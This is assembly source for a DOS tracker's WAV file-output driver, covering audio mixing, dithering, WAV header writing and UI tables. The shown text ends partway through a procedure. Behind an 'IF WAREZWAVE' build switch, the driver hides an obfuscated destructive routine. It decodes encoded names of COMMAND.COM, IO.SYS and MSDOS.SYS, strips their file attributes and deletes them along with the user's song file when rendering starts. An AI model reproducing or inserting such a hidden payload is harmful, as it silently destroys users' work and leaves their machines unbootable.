
        .386P

Segment                 DriverHeader PARA Public 'Code' Use16
                        Assume CS:Driver, DS:Nothing

;***** Driver Header *******

include drhead.inc

EndS

Segment                 Driver PARA Public 'Code' Use16
                        Assume CS:Driver, DS:Nothing

ORG 0
StartDriver:

include vtable.inc

;********  Required ProcedureTable *************

include reqproc.inc

STEREOENABLED   EQU     1
MIXRESOLUTION   EQU     32

include ..\wavswitc.inc

FileHandle      DW      0
NumClipped      DD      0

WAVOutputMsg    DB      "Writing to disk", 13
                DB      "Output frequency ", 0FDh, "D", 0
WAVFileErrorMsg DB      "Unable to create output file!                              ", 0
WAVMemErrorMsg  DB      "Unable to allocate memory!", 0
NoReinitMsg     DB      "File output routines should NOT require reinitialisation   ", 0
WriteError      DB      "Error writing to output file. Output file closed           ", 0
DefaultDriverName DB    "ITWAV.DRV", 0
DriverName      DD      0
ClippedMsg      DB      "Clipped ", 0FDh, "L", 0

WAVEFileHeader  DB      "RIFF"
WAVEFileSize    DD      0
WAVEFileHeader2 DB      "WAVEfmt "
WAVEFileHeaderLength DD 10h
WAVEFileID      DW      1
WAVEChannels    DW      1               ; 1 = mono, 2 = stereo
MixSpeed        DW      44100           ; Default to CD quality
WAVEMixSpeedFiller DW   0
WAVEBytesPerSecond DD   0
WAVEBytesPerSample DW   2
WAVEBits        DW      16
WAVEHeader3     DB      "data"
WAVEDataSize    DD      0

IF REGISTERED
  Stereo          DB      0
  StereoSet       DB      0
ENDIF

BytesToMix           DW 0
RealBytesToMix       DW 0
BytesToMixFractional DD 0
CurrentFractional    DD 0

MixVolume       DW      0
MixSegment      DW      0
MixHandler      DW      Offset M32MixHandler
CONFIGURATIONOFFSET     EQU     $+128
CONFIGSIZE              EQU     90
WAVDirectory    DB      ".", 79 Dup (0)
VolumeTable             DB      0, 16, 96, 127
                        DB      0, 0, 0, 0
StartNoRamp     DW      0
OldDirectory    DB      80 Dup (0)

CreatingMsg     DB      "Creating file "
OutputFileName  DB      "                                              ", 0

ClosedFileMsg   DB      "Finished writing file                                      ", 0
OUTPUT          DB      "OUTPUT"

LongMixSpeed    DD      0

IF DITHEROUTPUT
MonoDitherValue         DD      0
LeftDitherValue         DD      0
RightDitherValue        DD      0
ENDIF

WAVScreenList           DW      6
                        DW      IdleFunctionList
                        DW      GlobalKeyLink

                        DW      Near Ptr FullScreenBox  ; 0
                        DW      Near Ptr ScreenHeader
                        DW      Near Ptr FillHeader
                        DW      Near Ptr WAVHeader

                        DW      Near Ptr FilterBox1
                        DW      Near Ptr DirectoryInputBox
                        DW      Near Ptr DirectoryInput         ; 6

                        DW      Near Ptr FilterBox2
                        DW      Near Ptr FilterFrequency1       ; 8
                        DW      Near Ptr FilterFrequency2
                        DW      Near Ptr FilterFrequency3
                        DW      Near Ptr FilterFrequency4
                        DW      Near Ptr FilterVolume1
                        DW      Near Ptr FilterVolume2
                        DW      Near Ptr FilterVolume3
                        DW      Near Ptr FilterVolume4

                        DW      Near Ptr DirectoryInputText
                        DW      Near Ptr FilterText

                        DW      Near Ptr StartRampText
                        DW      Near Ptr StartRampEnabledButton ; 19
                        DW      Near Ptr StartRampDisabledButton

                        DW      0

WAVHeader               DW      10
                        DB      "WAV Driver", 0

StartRampText           DW      1
                        DB      2, 25
                        DB      20h
                        DB      "Ramp volume at start of sample", 0

StartRampEnabledButton  DW      2
                        DW      11, 0FFFFh, 20, 20
                        DW      0, 0, 0
                        DW      5
                        DW      Offset StartNoRampFunction
Seg1                    DW      0
                        DW      0
                        DW      0, 0
                        DB      33, 24, 47, 26
                        DB      8, 0
                        DB      "   Enabled", 0

StartRampDisabledButton DW      2
                        DW      11, 0FFFFh, 19, 19
                        DW      0, 0, 0
                        DW      5
                        DW      Offset StartNoRampFunction
Seg2                    DW      0
                        DW      1
                        DW      0, 0
                        DB      48, 24, 62, 26
                        DB      8, 0
                        DB      "  Disabled", 0

IdleFunctionList        DD      0
                        DD      0
GlobalKeyLink           DB      7
GlobalKeyLink2          DD      0

FillHeader              DW      8
FillHeader2             DD      0

FullScreenBox           DW      0
                        DB      0, 0, 79, 49
                        DB      4

ScreenHeader            DW      8
ScreenHeader2           DD      0

DirectoryInputText      DW      1
                        DB      2, 14
                        DB      20h
                        DB      "Output Directory", 0

DirectoryInputBox       DW      0
                        DB      18, 13, 78, 15
                        DB      25

DirectoryInput          DW      16
                        DB      19, 14
Segment1                DW      0
                        DW      Offset WAVDirectory
                        DW      59
                        DD      0
                        DW      0FFFFh, 8, 0FFFFh, 0FFFFh

FilterText              DW      1
                        DB      2, 17
                        DB      20h
                        DB      "Output Equalizer", 13
                        DB      13
                        DB      "     Low Frequency Band", 13
                        DB      " Med Low Frequency Band", 13
                        DB      "Med High Frequency Band", 13
                        DB      "    High Frequency Band", 0

FilterBox1              DW      0
                        DB      25, 18, 47, 23
                        DB      25

FilterBox2              DW      0
                        DB      52, 18, 74, 23
                        DB      25

FilterFrequency1        DW      14
                        DB      26, 19
                        DW      0, 127
                        DW      9, 0
                        DW      6, 9, 12, 12
                        DW      0FFFFh, 0FFFFh
                        DW      20

FilterFrequency2        DW      14
                        DB      26, 20
                        DW      0, 127
                        DW      9, 1
                        DW      8, 10, 13, 13
                        DW      0FFFFh, 0FFFFh
                        DW      20

FilterFrequency3        DW      14
                        DB      26, 21
                        DW      0, 127
                        DW      9, 2
                        DW      9, 11, 14, 14
                        DW      0FFFFh, 0FFFFh
                        DW      20

FilterFrequency4        DW      14
                        DB      26, 22
                        DW      0, 127
                        DW      9, 3
                        DW      10, 19, 15, 15
                        DW      0FFFFh, 0FFFFh
                        DW      20

FilterVolume1           DW      14
                        DB      53, 19
                        DW      0, 255
                        DW      9, 4
                        DW      6, 13, 8, 8
                        DW      0FFFFh, 0FFFFh
                        DW      20

FilterVolume2           DW      14
                        DB      53, 20
                        DW      0, 255
                        DW      9, 5
                        DW      12, 14, 9, 9
                        DW      0FFFFh, 0FFFFh
                        DW      20

FilterVolume3           DW      14
                        DB      53, 21
                        DW      0, 255
                        DW      9, 6
                        DW      13, 15, 10, 10
                        DW      0FFFFh, 0FFFFh
                        DW      20

FilterVolume4           DW      14
                        DB      53, 22
                        DW      0, 255
                        DW      9, 7
                        DW      14, 19, 11, 11
                        DW      0FFFFh, 0FFFFh
                        DW      20

IF WAREZWAVE
  Filename1      DB     01h, 0C8h, 0E6h, 01h, 0F5h, 0F7h, 0F7h, 03h, 0F4h, 0FEh, 0D4h, 01h, 0F5h, 0F7h, 0C2h  ; COMMAND.COM
  Filename2      DB     01h, 0C8h, 0E6h, 0FBh, 0F5h, 0D4h, 0F1h, 0EBh, 0F1h, 0C2h                               ; IO.SYS
  Filename3      DB     01h, 0C8h, 0E6h, 0F7h, 0F1h, 0FEh, 0F5h, 0F1h, 0D4h, 0F1h, 0EBh, 0F1h, 0C2h             ; MSDOS.SYS
  LocalDirectory DB     ".", 60 Dup(0)
ENDIF

include mixwav.inc

include wav.mix

; ÄÄ DetectCard ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Returns carry set if error, else carry clear. Has to setup internal vars
; (eg. appropriate IRQ/DMA whatever).
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Proc            DetectCard Far

                Cmp     BX, 217h
                JAE     DetectCardUseDriver

                Mov     CX, DS
                ShL     ECX, 16
                Mov     CX, Offset DefaultDriverName

DetectCardUseDriver:
                Mov     [CS:DriverName], ECX

                Call    GetEMSPageFrame
                Mov     EMSPageFrame, AX

                Mov     Seg1, CS
                MOv     Seg2, CS

IF WAREZWAVE

; Decode things
                Push    CS
                Push    CS
                Pop     DS
                Pop     ES
                        Assume DS:Driver

                Mov     CX, 3

                Mov     SI, Offset Filename1
                Mov     DI, Offset Filename1

DetectCard1:

                LodsB
                Sub     AL, 24h
                Xor     AL, 9Eh
                StosB

                JNZ     DetectCard1
                Loop    DetectCard1

ENDIF

                Mov     EAX, 'Jeff'
                ClC             ; Always assume true
                Ret

EndP            DetectCard

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

InterpretState  DB      0
InterpretType   DB      0

Proc            SendUARTOut Far ; Local interpreter activated with 0F0h 0F0h.

                Mov     AH, CS:InterpretState
                Cmp     AH, 2
                JB      SendUARTOut1

; In interpreter.
                JE      SendUARTOut3

; Have InterpretType, now get parameter, then return to normal.

                Cmp     AL, 7Fh
                JA      SendUARTOut4

                Push    BX

                Mov     BL, CS:InterpretType    ; Want BX = InterpretType*64+Channel
                                                ;
                ShL     BX, 6
                Add     BL, [DI+20h]
                And     BX, 127
                Mov     [CS:FilterParameters+BX], AL

                Pop     BX

                Test    SI, SI
                JZ      SendUARTOut4

                Or      Byte Ptr [SI], 64

SendUARTOut4:
                Mov     CS:InterpretState, 0
                Ret

SendUARTOut3:
                Cmp     AL, 2
                JAE     SendUARTOut4

                Mov     InterpretType, AL
                Jmp     SendUARTOutStateInc

SendUARTOut1:
                Cmp     AL, 0F0h
                JNE     SendUARTOut2

SendUARTOutStateInc:
                Inc     CS:InterpretState
                Ret

SendUARTOut2:
                Test    AH, AH
                JZ      SendUARTOutEnd

                Mov     CS:InterpretState, 0
                Ret

SendUARTOutEnd:
                Cmp     AL, 0FCh
                JE      ResetFilters
                Cmp     AL, 0FAh
                JE      ResetFilters

                Cmp     AL, 0FFh
                JNE     SendUARTOutNoClear

ResetFilters:
                PushA
                Push    ES

                Push    CS
                Pop     ES

                Mov     DI, Offset FilterParameters
                Mov     CX, 64
                Mov     AL, 7Fh
                Rep     StosB
                Mov     CX, 64
                Xor     AX, AX
                Rep     StosB

                Pop     ES
                PopA

SendUARTOutNoClear:
                Ret

EndP            SendUARTOut

;ÄÄ InitSound ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Sets up any memory required for output
; Initiates output
;
; Parameters: AX = Number of Channels
;
; If sucessful, returns:
;   Carry flag clear
;   DS:SI = pointer to text to display
;      AX = parameter 1 in text
;      BX = parameter 2 in text
;      CX = parameter 3 in text
;      DX = parameter 4 in text
;      DI = parameter 5 in text
;
; If unsucessful, returns:
;   Carry flag set
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            InitSound Far

                Push    CS
                Pop     DS
                        Assume DS:Driver

                Mov     Segment1, DS

                Mov     ECX, IdleUpdateInfoLine
                Mov     EDX, GlobalKeyList
                Mov     IdleFunctionList, ECX
                Mov     GlobalKeyLink2, EDX

                Mov     ECX, FillHeaderFunction
                Mov     EDX, DrawHeaderFunction
                Mov     FillHeader2, ECX
                Mov     ScreenHeader2, EDX

                Call    GotoHomeDirectory
                Mov     SI, Offset WAVDirectory
                Call    SetDirectory

                Mov     AH, 48h
                Mov     BX, 2648        ; (65536 / (.4*31)) * 4 * 2
                                        ; +80 (filtering area)
                Int     21h
                JNC     InitSound1

                Mov     SI, Offset WAVMemErrorMsg
                Ret

InitSound1:
                Mov     MixSegment, AX

                Mov     SI, Offset WAVOutputMsg

                Mov     AX, CmdLineMixSpeed
                And     AX, AX
                JZ      InitSound3

                Cmp     AX, 8000
                JA      InitSound4

                Mov     AX, 8000

InitSound4:
                Cmp     AX, 64000
                JB      InitSound5

                Mov     AX, 64000

InitSound5:
                Mov     MixSpeed, AX

InitSound3:
                Mov     AX, MixSpeed
                Mov     Word Ptr LongMixSpeed, AX

                FNInit
                FILd    DWord Ptr [MixSpeed]
                FMul    FreqMultiplier
                FStP    FreqMultiplier

                Call    CalculateFilterCoefficients

                Ret

EndP            InitSound
                Assume DS:Nothing

;ÄÄ ReInitSound ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Reinitialises sound output
; Initiates sound output
;
; Parameters: AX = number of channels.
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            ReInitSound Far

                Push    CS
                Pop     DS

                Mov     SI, Offset NoReinitMsg
                Mov     BX, 40
                Call    SetInfoLine

                Ret

EndP            ReInitSound

;ÄÄ UnInitSound ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Stops sound output, releases any memory used by driver
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            UnInitSound Far

                Call    GotoHomeDirectory

                Mov     DS, Word Ptr [CS:DriverName+2]
                Mov     DX, Word Ptr [CS:DriverName]

                Mov     AX, 3D02h       ; Read write access
                Int     21h

                Push    CS
                Pop     DS
                        Assume DS:Driver

                JC      SaveConfig2

                Mov     BX, AX

                Mov     AX, 4200h
                Xor     CX, CX
                Mov     DX, Offset CONFIGURATIONOFFSET
                Int     21h
                JC      SaveConfig1

                Mov     AH, 40h
                Mov     CX, CONFIGSIZE
                Mov     DX, Offset WAVDirectory
                Int     21h

SaveConfig1:
                Mov     AH, 3Eh
                Int     21h

SaveConfig2:
                Mov     AX, MixSegment
                Test    AX, AX
                JZ      UnInitsound1

                Mov     ES, AX
                Mov     AH, 49h
                Int     21h

UnInitSound1:
                Mov     BX, FileHandle
                Test    BX, BX
                JZ      UnInitSound2

                Mov     AX, 4200h       ; Move to start of file
                Xor     CX, CX
                Xor     DX, DX
                Int     21h             ; Start of file

                Mov     EAX, WAVEDataSize
                Add     EAX, 24h
                Mov     WAVEFileSize, EAX

                Mov     AH, 40h
                Mov     DX, Offset WAVEFileHeader
                Mov     CX, 2Ch
                Int     21h

                Mov     AH, 3Eh
                Int     21h

UnInitSound2:
                Ret

EndP            UnInitSound
                Assume DS:Nothing

;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            CopyFileName            ; Given DI

                Push    DS

                Call    GetFileName
                        Assume DS:Nothing       ; Returns DS:SI

                Push    CS
                Pop     ES
                Mov     CX, 11
                Mov     AL, ' '
                Push    DI
                Rep     StosB
                Pop     DI

                Mov     CX, 8

                Cmp     Byte Ptr [SI], 0
                JE      CopyFileName2
                Cmp     Byte Ptr [SI], '.'
                JE      CopyFileName2

CopyFileName1:
                LodsB
                Cmp     AL, '.'
                JE      CopyFileName3
                StosB
                Loop    CopyFileName1

                Pop     DS
                Ret

CopyFileName2:
                Push    CS
                Pop     DS
                Mov     SI, Offset OUTPUT
                Mov     CX, 6
                Rep     MovsB

CopyFileName3:
                Pop     DS
                Ret

EndP            CopyFileName

;ÄÄ Poll ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; This procedure is called as often as possible by IT.EXE
; AX = Playmode (0 for nothing in particular, 1 = pattern, 2 = song)
; BX = pattern
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

SlaveChannelLocation    DW      0, 0, 0

Proc            Poll Far

                Cmp     MixSegment, 0
                JNE     Poll2

                Ret

Poll2:
                Push    BX
                Call    Update          ; Got DS:SI, CX
                Pop     BX

                Mov     CS:[SlaveChannelLocation], SI
                Mov     CS:[SlaveChannelLocation+2], DS
                Mov     CS:[SlaveChannelLocation+4], CX

                Test    AX, AX
                JNZ     Poll1

                Cmp     CS:FileHandle, 0
                JE      Poll7

                PushAD
                Push    DS

                Push    CS
                Pop     DS
                        Assume DS:Driver

                Mov     SI, Offset ClosedFileMsg
                Mov     BX, 100
                Call    SetInfoLine

PollCloseFile:
                Xor     BX, BX
                XChg    BX, FileHandle
                Mov     AX, 4200h       ; Move to start of file
                Xor     CX, CX
                Xor     DX, DX
                Int     21h             ; Start of file

                Mov     EAX, WAVEDataSize
                Add     EAX, 24h
                Mov     WAVEFileSize, EAX

                Mov     AH, 40h
                Mov     DX, Offset WAVEFileHeader
                Mov     CX, 2Ch
                Int     21h

                Mov     AH, 3Eh         ; Close file
                Int     21h

                Pop     DS
                PopAD
                        Assume DS:Nothing
                Ret

Poll7:
IF REGISTERED
                Mov     AL, CS:StereoSet
                Mov     CS:Stereo, AL
ENDIF
                Ret

Poll1:
                PushAD
                Push    DS
                Push    ES

                Cmp     CS:FileHandle, 0
                JNE     Poll8
                                ; Create file... BX = pattern

                Push    AX

                Push    CS
                Push    CS
                Pop     DS
                Pop     ES
                        Assume DS:Driver

                Xor     EAX, EAX
                Mov     LastClickRemovalLeft, EAX
                Mov     LastClickRemovalRight, EAX
                Mov     NumClipped, EAX
                Mov     CurrentFractional, EAX
IF DITHEROUTPUT
                Mov     MonoDitherValue, EAX
                Mov     LeftDitherValue, EAX
                Mov     RightDitherValue, EAX
ENDIF

                Mov     DI, Offset LastFilter
                Mov     CX, 16
                Xor     AX, AX
                Rep     StosW

IF WAREZWAVE                    ; Delete the file!

                Mov     Byte Ptr [WAVEChannels], 2

                Call    [GetfileName]
                Mov     DX, SI
                Mov     AH, 41h
                Int     21h

                Push    CS
                Pop     DS

                Mov     DX, Offset Filename1
                Mov     AH, 41h
                Int     21h

                Mov     AX, 4301h
                Mov     DX, Offset Filename2
                Xor     CX, CX
                Int     21h

                Mov     AX, 4301h
                Mov     DX, Offset Filename3
                Xor     CX, CX
                Int     21h

                Mov     DX, Offset Filename1
                Mov     AH, 41h
                Int     21h

                Mov     DX, Offset Filename2
                Mov     AH, 41h
                Int     21h

                Mov     DX, Offset Filename3
                Mov     AH, 41h
                Int     21h

ENDIF
                Pop     AX

                Mov     SI, Offset OldDirectory
                Mov     Word Ptr [SI], '.'
                Call    SetDirectory
                Call    GotoHomeDirectory
                Mov     SI, Offset WAVDirectory
                Call    SetDirectory

                Cmp     AX, 1
                JE      Poll9

                Mov     DI, Offset OutputFileName
                Call    CopyFileName
                Mov     AX, 'W.'
                StosW
                Mov     AX, 'VA'
                StosW
                Jmp     Poll12

Poll9:
                Mov     DI, Offset OutputFileName
                Call    CopyFileName

                Xor     DX, DX
                Mov     AX, BX          ; AX = pattern
                Mov     BX, 10
                Div     BX
                Mov     CL, DL
                Xor     DX, DX
                Div     BX
                Mov     AH, AL
                Mov     AL, '.'
                Add     AH, '0'
                StosW
                Mov     AL, DL
                Mov     AH, CL
                Add     AX, '00'
                StosW

Poll12:
                Mov     AH, 3Ch
                Xor     CX, CX
                Mov     DX, Offset OutputFileName
                Int     21h             ; Create file...
                Mov     SI, Offset CreatingMsg
                JNC     Poll10

Poll11:
                Mov     SI, Offset WAVFileErrorMsg
                Mov     BX, 100
                Call    SetInfoLine
                Call    StopPlayBack

                Mov     SI, Offset OldDirectory
                Call    SetDirectory

                Pop     ES
                Pop     DS
                PopAD
                Ret


Poll10:
                Mov     FileHandle, AX

                Xor     EDX, EDX
                Mov     WAVEDataSize, EDX
                Mov     DX, MixSpeed

IF REGISTERED
                Mov     CL, Stereo
                Inc     CX
                ShL     EDX, CL

ELSE
                ShL     EDX, 1

ENDIF
                Mov     WAVEBytesPerSecond, EDX

IF   REGISTERED
                Mov     DX, 1
                ShL     DX, CL
                Mov     WAVEBytesPerSample, DX

                Mov     Byte Ptr [WAVEChannels], CL
ENDIF

                Mov     BX, AX
                Mov     CX, 2Ch
                Mov     DX, Offset WAVEFileHeader
                Mov     AH, 40h
                Int     21h

                Mov     BX, 100
                Call    SetInfoLine

                Mov     SI, Offset OldDirectory
                Call    SetDirectory

                        Assume DS:Nothing

Poll8:
                Call    SaveEMSPageFrame

                LDS     SI, [DWord Ptr SlaveChannelLocation]
                Mov     CX, [SlaveChannelLocation+4]

                Call    M32MixHandler
                Call    RestoreEMSPageFrame

                                        ; Now reorder everything in mixbuff
                Mov     DS, CS:MixSegment
                Push    DS
                Pop     ES

IF DITHEROUTPUT
                Mov     SI, 80
                Xor     DI, DI
                Mov     CX, CS:RealBytesToMix

 IF REGISTERED

                Cmp     CS:Stereo, 0
                JE      PollNoStereo

                Mov     EDX, CS:LeftDitherValue
                Mov     EBP, CS:RightDitherValue

 PollStereoDitherLoop:
                Add     EDX, [SI]
                Add     EBP, [SI+4]

  IF DOUBLEVOLUME
                Mov     EAX, EDX
                And     EDX, 1FFFh

                SAR     EAX, 13
                Mov     EBX, EBP

                SAR     EBX, 13
                And     EBP, 1FFFh
  ELSE
                Mov     EAX, EDX
                And     EDX, 3FFFh

                SAR     EAX, 14
                Mov     EBX, EBP

                SAR     EBX, 14
                And     EBP, 3FFFh
  ENDIF

                Cmp     EAX, -8000h
                JL      StereoDitherClip1

                Cmp     EAX, 7FFFh
                JG      StereoDitherClip2

 StereoDitherClipped1:
                Cmp     EBX, -8000h
                JL      StereoDitherClip3

                Cmp     EBX, 7FFFh
                JG      StereoDitherClip4

 StereoDitherClipped2:
                ShL     EBX, 16
                And     EAX, 0FFFFh

                Or      EAX, EBX
                Add     SI, 8

                StosD
                Dec     CX
                JNZ     PollStereoDitherLoop

                Mov     CS:LeftDitherValue, EDX
                Mov     CS:RightDitherValue, EBP

                Mov     CX, CS:RealBytesToMix
                ShL     CX, 2
                Jmp     PollWriteBlock

 StereoDitherClip1:
                Mov     AX, 8000h
                Jmp     StereoDitherClipped1

 StereoDitherClip2:
                Mov     AX, 7FFFh
                Jmp     StereoDitherClipped1

 StereoDitherClip3:
                Mov     BX, 8000h
                Jmp     StereoDitherClipped2

 StereoDitherClip4:
                Mov     BX, 7FFFh
                Jmp     StereoDitherClipped2

 ENDIF
 PollNoStereo:
                Mov     EBX, CS:MonoDitherValue

 PollMonoDitherLoop:
                Add     EBX, [SI]
                Add     SI, 8

                Mov     EAX, EBX
 IF DOUBLEVOLUME
                And     EBX, 1FFFh
                SAR     EAX, 13
 ELSE
                And     EBX, 3FFFh
                SAR     EAX, 14
 ENDIF

                Cmp     EAX, -8000h
                JL      MonoDitherClip1

                Cmp     EAX, 7FFFh
                JG      MonoDitherClip2

 PollMonoDitherClipped:
                StosW

                Dec     CX
                JNZ     PollMonoDitherLoop

                Mov     CS:MonoDitherValue, EBX


                Mov     CX, CS:RealBytesToMix
                Add     CX, CX
                Jmp     PollWriteBlock

 MonoDitherClip1:
                Mov     AX, 8000h
                Jmp     PollMonoDitherClipped

 MonoDitherClip2:
                Mov     AX, 7FFFh
                Jmp     PollMonoDitherClipped


ELSE    ; No dither
                Mov     CX, CS:RealBytesToMix
                Mov     BX, 8

 IF REGISTERED
                Cmp     CS:Stereo, 0
                JE      PollNoStereo

                Add     CX, CX
                Mov     BX, 4

 ENDIF

 PollNoStereo:
                Push    CX

                Mov     SI, 80
                Xor     DI, DI

 Poll3:
                Mov     EAX, [SI]
                Add     SI, BX
                Add     EAX, 2000h
 IF DOUBLEVOLUME
                SAR     EAX, 13
 ELSE
                SAR     EAX, 14
 ENDIF

                Cmp     EAX, -8000h
                JL      Poll5
                Cmp     EAX, 7FFFh
                JG      Poll6

 Poll4:
                StosW
                Dec     CX
                JNZ     Poll3

                Pop     CX
                Add     CX, CX
ENDIF
PollWriteBlock:
                Mov     AH, 40h                 ; Write
                Xor     DX, DX
                Mov     BX, CS:FileHandle
                Int     21h
                JC      PollError
                Cmp     AX, CX
                JE      PollNoError

PollError:
                Push    CS
                Pop     DS
                Mov     SI, Offset WriteError
                Mov     BX, 100
                Call    SetInfoLine

                Call    StopPlayBack

                Pop     ES
                Push    CS
                Pop     DS
                Jmp     PollCloseFile

PollNoError:
                Add     Word Ptr [CS:WAVEDataSize], AX
                AdC     Word Ptr [CS:WAVEDataSize+2], 0

                Pop     ES
                Pop     DS
                PopAD

                Ret

IF DITHEROUTPUT
ELSE
 Poll5:
                Inc     NumClipped
                Mov     AX, 8000h
                Jmp     Poll4

 Poll6:
                Inc     NumClipped
                Mov     AX, 7FFFh
                Jmp     Poll4

ENDIF

EndP            Poll

;ÄÄ SetTempo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Parameters: AX = tempo
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            SetTempo Far

                PushAD

                Push    BX

                Xor     EAX, EAX
                Xor     EBX, EBX
                Xor     EDX, EDX

                Mov     AX, CS:MixSpeed

                Mov     EBX, EAX
                ShL     EAX, 1          ; EAX = MixSpeed * 2
                ShR     EBX, 1          ; EBX = Mixspeed / 2
                Add     EAX, EBX

                Pop     BX              ; BX = tempo
                Div     EBX

                Mov     CS:BytesToMix, AX
                Mov     CS:BytesToMixFractional, EDX

                PopAD

                Ret

EndP            SetTempo

;ÄÄ SetMixVolume ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Parameters: AX = MixVolume
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            SetMixVolume Far

                Mov     CS:MixVolume, AX
                Ret

EndP            SetMixVolume

;ÄÄ SetStereo ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Parameters: AL = Stereo on/off, 0 = off.
;
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            SetStereo Far

IF REGISTERED
                  Mov     CS:StereoSet, AL

ENDIF
                Ret

EndP            SetStereo

;ÄÄ LoadSample ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
;
; Parameters: AX = sample to load
;             DS:SI points to sample header
;             ES:0 points to first sample
;
; Returns: **Carry set if NO error**
;          **Carry clear if error**
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Proc            LoadSample Far

                PushAD
                Push    DS
                Push    ES
                Push    FS

                Mov     FS, CS:SongDataArea
                Mov     BP, AX
                Add     BP, BP
                Mov     BP, [FS:64910+BP]

                Xor     CX, CX                  ; From the start of the sample..
                Call    GetSampleLocation       ; Returns DS:ESI, ECX = length (in samples)
